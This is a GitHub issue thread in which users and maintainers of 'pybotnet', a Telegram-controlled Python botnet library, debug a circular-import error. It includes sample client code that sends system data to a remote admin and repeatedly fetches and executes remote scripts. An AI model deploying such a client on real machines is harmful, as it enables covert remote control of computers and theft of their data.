New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
ImportError #26
Comments
Did you install pybotnet with pip or Did you try to import from the pybotnet directory ? |
Thanks for your responding. |
Interesting. I never faced this problem before.
@onionj I think this should be labled as bug. We can consider doing changes
on the pybotnet folder to locally install pybotnet as a package to avoid
this bug.
@Ali-Imangholi Could you test these commands on your end?
```
from pybotnet import utils
from pybotnet import pybotnet
from pybotnet import scripts
```
… Message ID: ***@***.***>
|
Unfortunately, it did not work. |
Could you plesae send the errors? |
Traceback (most recent call last): |
I checked the following codes on Windows 10 and Debin 11 and they worked properly from pybotnet import pybotnet
import time
TELEGRAM_TOKEN = '1468299547:ABHs_________MzZcYxF_e00000000000'
ADMIN_CHAT_ID = '12345678910'
bot = pybotnet.PyBotNet(TELEGRAM_TOKEN, ADMIN_CHAT_ID, show_log=True, send_system_data=True)
delay = 7
while True:
print('*-*'*15)
bot.get_and_execute_scripts_by_third_party_proxy()
time.sleep(delay) from pybotnet import PyBotNet
import time
TELEGRAM_TOKEN = '1468299547:ABHs_________MzZcYxF_e00000000000'
ADMIN_CHAT_ID = '12345678910'
bot = PyBotNet(TELEGRAM_TOKEN, ADMIN_CHAT_ID, show_log=True, send_system_data=True)
delay = 7
while True:
print('*-*'*15)
bot.get_and_execute_scripts_by_third_party_proxy()
time.sleep(delay) If you send your |
I just had copied your sample code and then it had "circular import" error. |
The file name is also important |
It is "bot.py" |
I can't recreate this error to fix it , i tried it on ubuntu vm and on my own machine and it worked correctly on both. |
It became correct when I download it from GitHub. |
Interesting. |
Hi, onionj.
When I imported pybotnet and ran the code I got this error.
ImportError: cannot import name 'util' from partially initialized module 'pybotnet' (most likely due to a circular import)
Would you help me, please?
The text was updated successfully, but these errors were encountered: